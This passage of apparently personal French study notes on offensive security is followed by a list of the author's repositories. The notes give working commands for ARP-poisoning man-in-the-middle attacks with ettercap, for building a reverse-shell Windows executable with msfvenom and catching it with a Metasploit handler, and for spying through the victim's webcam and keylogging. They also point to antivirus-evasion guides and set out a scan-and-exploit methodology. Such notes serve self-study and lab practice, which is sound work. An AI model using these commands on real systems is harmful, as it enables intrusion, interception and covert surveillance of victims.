  • Exploit : Dans Metasploit exploit signifie exploiter. Si vous avez installĂ© le shell inversĂ© correctement sur la machine cible, vous pouvez explorer le système avec l’aide d’exploit. Par dĂ©faut, 1590 exploits sont disponibles dans Metasploit. Possibilite de creer son propre exploit dans Metasploit.
  • Payload : bout de code qui permet de pirater le système et exploit aide Ă  faire tout ce que vous voulez faire avec la machine piratĂ©e. Cela vous aide Ă  crĂ©er un virus.
##LHOST : lhost est l’adresse IP de l’attaquant
##LPORT : C’est le port que vous souhaitez utiliser
##RHOST : Ceci est l’adresse IP de la machine victime
##RPORT : Le numéro de port de la victime.
#### start :
service postgresql start #aide a faire tourner metasploit
msfconsole #lance metaqsploit
Show exploits #Pour afficher les différents types d’exploits

3. System Hacking

Sniffing

Wireshark est un sniffer. Un sniffer est un programme qui écoute sur le réseau, intercepte toutes les trames reçues par votre carte réseau, et les affiche à l'écran.

  • on peut voir la liste des trames reçues lors d'une requĂŞte (couche 1 "Frame 187", la couche 2 "Ethernet", la couche 3 "IP" etc.),
  • en cliquant sur l'une des trames on voit que Wireshark sĂ©pare les Ă©lĂ©ments de chacune des couches du modèle OSI
  • on peut voir le contenu de chacune des couches en cliquant sur le triangle en face d'une couche

infos sur wireshark

apt-get install wireshark
sudo wireshark #ECOUTER MON PROPRE RESEAU, sauf si MITM ATTACK
#interface reseau utilisee par cible et routeur et machine qui attaque (eth0)
filter : ip.addr == *addrcible*
filter : ip.addr == *addrcible* && http #pour voir les requetes http. tester sur mon propre reseau, marche correctement sur sites http sans SSL

Tcpdump est un sniffer, comme wireshark, mais en ligne de commande sous linux.

tcpdump -i eth0 -n port 80 and host *addripquonveutecouter* #on ecoute le port 80 de la machine cible

Hacking Wireless Networks

  • ARP poisoning using Ettercap, MiTM attack ARP poisoning is an attack that is accomplished using the technique of ARP spoofing. ARP protocol : protocole utilisĂ© pour traduire une adresse de protocole de couche rĂ©seau (adresse IPv4) en une adresse de protocole de couche de liaison (adresse MAC).

Ettercap doc reference

sudo ettercap -T -S -i eth0 -M arp:remote /*addrmachinecible*// /*addrrouteur*//
*addrmachinecible* = target1
*addrrouteur* = target2
##sur linterface graphique : 
off le sniffing at startup, valider
loupe pour voir qui est sur mon reseau, puis emoticone a droite de la loupe pr guetter mes targets
selectionner les targets
lancer mitm attack
=> checker si changement de MAC pour le routeur a marche sur la machine cible : arp -a
=> pinger le routeur, normalement prend plus de temps qu'un ping classique

The principles and techniques of a MiTM attack remain the same as with arpspoof with the small exception of the ip_forward. Unlike arpspoof, ettercap does not use ip forwarding in the Linux kernel, but instead uses it own module to forward IP packets

http://www.kali-linux.fr/forum/index.php?topic=3948.0

http://www.kali-linux.fr/forum/index.php/topic,3822.0.html

  • on peut faire la meme avec arpspoof et dnsspoof Si y a des problemes lors du ping et que le forwarding des paquets n'est pas active :
echo 1 > /proc/sys/net/ipv4/ip_forward #activer le forwarding des paquets

Malware Threats

  • msfvenom = composant majeur de Metasploit qui vous permet de gĂ©nĂ©rer des payloads, exĂ©cutables, shellcodes, apk pour les utiliser dans vos exploitations. Cependant, ces shellcodes crĂ©Ă©s ne sont pas si effaces que ça en a l’air. Ils contiennent de mauvais caractères ce qui fait qu’un antivirus stupide peut les attraper facilement, c’est pourquoi vous aurez besoin d’une autre fonctionnalitĂ© de msfvenom qui est l’encodage, ce dernier permet d’éviter ces mauvais caractères. le meilleur classement est celui de l’encodeur x86/shikata_ga_nai

  • exploit = une faille dans un système, application ou un service qui va permettre Ă  un attaquant de l’exploiter afin de compromettre sa sĂ©curitĂ©.

  • payload = code que le système va exĂ©cuter pour avoir un rĂ©sultat prĂ©cis. Exemple : un reverse shell est un payload qui se charge de crĂ©er une connexion de la machine victime vers la machine de l’attaquant tandis qu’un bind shell est un payload qui lie (bind) l’invite de commande avec un port en Ă©coute.

  • shellcode = semblable aux payloads sauf qu’il est Ă©crit en assembly. Exemple : après avoir exploitĂ© une machine, un meterpreter shell est fourni pour interagir avec la machine compromise.

  • listener = lorsque vous exploitez un système, ce dernier va tenter d’établir une connexion avec votre machine. Pour cela le listener va Ă©couter jusqu’à l’établissement de la connexion.

Difference entre reverse_tcp et bind_tcp :

  • [reverse_tcp] attacker-> [contact me at the port 4444]-> victim - after the payload is executed - attacker <-> [port 4444] <-> victim

  • [bind_tcp] attacker-> [open the way for me in the port 4444]-> victim - after execution - attacker <-> [port 4444] <-> victim -

  • Staged Payload : Le staged payload classique de Metasploit est : windows/meterpreter/reverse_tcp. Ce type de payload est gĂ©nĂ©ralement envoyĂ© sur la machine de la victime en deux parties. La première partie est un payload primaire (stage 0) qui crĂ©e une connexion entre la machine de la victime Ă  celle de l’attaquant. Un deuxième payload (stage 1) contenant l’exploit est ensuite envoyĂ© Ă  travers la connexion crĂ©Ă©e, puis exĂ©cutĂ© sur la machine de la victime.

  • Stageless Payload : L’équivalent du staged payload classique prĂ©sentĂ© plus haut (windows/meterpreter/reverse_tcp) dans la catĂ©gorie des stageless est: windows/meterpreter_reverse_tcp. Dans cette catĂ©gorie, le payload est envoyĂ© entièrement sur la machine de la victime. Celui-ci contient tout ce qui est nĂ©cessaire pour obtenir un reverse shell vers la machine de l’attaquant. Aucun transfert supplĂ©mentaire Ă  partir de la machine de l’attaquant n’est nĂ©cessaire.

Creer malware avec metasploit (etre en root):

msfvenom –p windows/meterpreter_reverse_tcp –f exe –a x86 –platform windows  LHOST 192.168.174.192 LPORT 4444 –o santy.exe
msfvenom --payload python/meterpreter/reverse_tcp LHOST=... LPORT=4444 > rev_tcp_4444.py
## attention ordre arguments important
#-p prépare le payload.
#-f exe indique que le type de fichier, ou l’extension de fichier sera exe (windows)
#-a x86 indique l’architecture système. x86 est utilisée dans les systèmes 32 bits, même si mon système est en 64 bits, on peut faire tourner un programme 32 bits sur un système 64 bits.
#–platform windows indique que ce virus est pour Windows.
#-o est le chemin d’enregistrement du fichier, avec son nom. Comme je veux l’enregistrer dans le dossier root, je ne précise que son nom.
##Le fichier sera sauvegardé dans le répertoire de travail actuel
#Before executing this file in the target computer, we need to start the multi-handler to listen for incoming connections
use mulit/handler #use permet de sélectionner un module à utiliser (back permet de sortir de ce module)
#A module is a piece of software that the Metasploit Framework uses to perform a task, such as exploiting or scanning a target. A module can be an exploit module, auxiliary module, or post-exploitation module.
#multi/handler : Ce module est un stub qui fournit toutes les fonctionnalités du système de charge utile Metasploit aux exploits qui ont été lancés en dehors du framework
set PAYLOAD windows/meterpreter/reverse_tcp #meme payload que vous avez utilisé pour créer le malware
set LHOST 192.168.174.129
set LPORT 4444
exploit #ou run c la meme chose
#Quand la victime lance ce programme, vous allez voir que Metasploit et Meterpreter s’ouvriront
webcam_snap
start keyscan_start
keyscan_stop
top #voir tous les running processus en direct
pgrep -lf python #voir les scripts python qui tournent
kill -9 <pid> #kill le processus

msfvenom tutorial with different payloads exemples

Payloads encoded with Base64, easily detected by antivirus, https://null-byte.wonderhowto.com/how-to/hacking-macos-create-undetectable-payload-0189715/ Payloads connus parce que classiques sur metasploit. --> Encrypting Better Than Encoding. Par exemple avec Armor voir tuto en dessous Video tuto Create Undetectable Payloads for macOS Computers with Tokyoneon's Armor

Denial-of-Service, Session Hijacking, SQL injection ..

IV - Hack the Box

Installation

Se connecter au VPN tuto

sudo apt-get install network-manager-openvpn
sudo openvpn --config /path/to/file.ovpn
# initialization sequence completed = OK

Methodo

######sur mon reseau######
nmap -sP *ip reseau*/*masque sous reseau* #connaitre le nombre de terminaux connectés aux wifi et leurs adresses IP ("... hosts up")
######en savoir plus sur la cible######
ping *addr ip cible* #Permet de savoir si la machine pingée est correctement joignable sur le reseau
nmap -A *addr ip cible* #Active la détection du système d'exploitation et des versions (nous donnes les ports ouverts)
######vulnerabilites connues######
nmap --script=vuln *addr ip cible* #vulnerabilite connue, --script=<lua scripts>: ici <lua scripts> est une liste de répertoires ou de scripts séparés par des virgules
searchsploit *nom du service qui tourne*
msfconsole search *nom du service qui tourne*
######exploit######
msfconsole search cve:2003-0352 #chercher un exploit qui correspond a une faille par son CVE
show exploits #afficher tous les exploits disponibles sur Metasploit
search nom_exploit #pour chercher un exploit
use nom_exploit #par exemple : use exploit/windows/dcerpc/ms03_026_dcom (path sous name quand on a search avec le cve)
show targets
set target *chiffre target* #Configurer la target
info nom_exploit #Avoir des informations sur un exploit
show options #Voir les options d’un exploit

More Repositories

1

Poker_CFR

Understanding Poker rules, Game Theory, and CFR algorithms in order to implement my first CFR solving Rock-Paper-Scissors Game and my first Vanilla CFR solving Kuhn Poker
Python
128
star
2

Cub3d-Linux

This is my final 42's project Cub3d, using the ray-casting technique and C to create a Wolfenstein 3D-like game
C
112
star
3

Minishell

This is my final 42's project Minishell, I implemented my own shell in C, which supports redirections, pipes, environment variables and several builtins
C
104
star
4

amyplant-security

Jupyter Notebook
97
star
5

Philosophers

This is my final 42's project philosophers, the goal was to learn threads and mutexs
C
53
star
6

42_all_subjects_2022

Subjects of all 42 projects
C++
41
star
7

client_side_attack

HTML
36
star
8

Cub3d-MacOS

This isn't my final project, it is the version for macOS but still with some mistakes
C
34
star
9

facial_recognition

Jupyter Notebook
23
star
10

ft_server

This is my final 42's project ft_server
PHP
21
star
11

coding_interview

Python
20
star
12

Youtube_algorithm_analyse

End of studies dissertation about Youtube algorithm, trying to examine Youtube's recommender system with data from the channels of many fellow youtubers, using Python, Pandas Library and Jupyter Notebooks.
15
star
13

IA_vocales

15
star
14

Libasm-Linux

This is my final 42's project Libasm, a small library in assembly
C
12
star
15

tournoi_fouloscopie

MATLAB
11
star
16

pentest_hardware_tools

8
star
17

Dauphine_M2_IREN

Econometry, Data science, intellectual property, and others master lessons
HTML
7
star
18

Football_AI

Jupyter Notebook
7
star
19

Trackers

Jupyter Notebook
5
star
20

ft_services

This is my final 42's project ft_services, learning how to deploy a loadbalanced cluster of services (Wordpress, Nginx, Phpmyadmin, mySQL, Grafana, MariaDB, FTPS) using Kubernetes
Dockerfile
5
star
21

ft_printf

This is my final 42's project ft_printf
C
5
star
22

Exam02

These are my files for the exam 02
C
5
star
23

get_next_line

This is my final 42's project get_next_line
C
4
star
24

walk_ai

Python
4
star
25

tor_hidden_service

3
star
26

chess_ai

3
star
27

push_swap

finally I didn't have to do this project
2
star
28

app_trackers

Analyse Exodus Privacy datas about android application trackers to understand data-opolies
Jupyter Notebook
1
star